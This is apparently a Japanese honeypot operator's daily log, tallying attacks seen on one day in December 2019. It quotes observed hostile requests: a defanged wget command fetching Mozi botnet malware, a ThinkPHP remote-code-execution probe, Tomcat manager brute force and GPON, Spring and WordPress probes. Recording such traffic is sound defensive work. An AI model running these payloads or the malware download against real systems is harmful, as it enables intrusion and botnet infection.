23log

WOWHoneypotで観測した日々のログをつらつらと

WOWHoneypot観察(264日目)

2019/12/05(木)

トータルは6401件でした。

ハンティングログは以下です。

117.207.27[.]71 wget+hxxp[:]//192.168[.]1.1:8088/Mozi.m

www.virustotal.com

件数 概要 リクエス
6338 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html
33 アクセス GET /
3 ThinkPHPの脆弱性を狙った通信 POST /TP/public/index.php?s=captcha
3 ThinkPHPの脆弱性を狙った通信 GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3 ThinkPHPの脆弱性を狙った通信 GET /TP/public/index.php
2 Spring Data Commonsの脆弱性を狙った通信 POST /users?page=&size=5
2 POST /images.php
1 DVR/NVR/IPC のAPIにおける脆弱性を狙った通信 POST /editBlackAndWhiteList
1 Gponルータの調査 POST /GponForm/diag_Form?images/
1 調査 OPTIONS /
1 不正中継の調査 GET hxxp[:]//www.google.com/
1 WordPressの調査 GET /wp/wp-login.php
1 WordPressの調査 GET /wp//wp-json/wp/v2/users/
1 WordPressの調査 GET /wp//?author=1
1 WordPressの調査 GET /wp-login.php
1 ユーザー調査 GET /user/
1 調査 GET /script
1 cfgファイルの調査 GET /prov/000000000000.cfg
1 Polycom製品のcfgファイルの調査 GET /polycom.cfg
1 phpMyAdminの調査 GET /phpmyadmin/
1 アクセス GET /favicon.ico
1 cfgファイルの調査 GET /000000000000.cfg
1 WordPressの調査 GET ///wp-json/wp/v2/users/
1 WordPressの調査 GET ///?author=1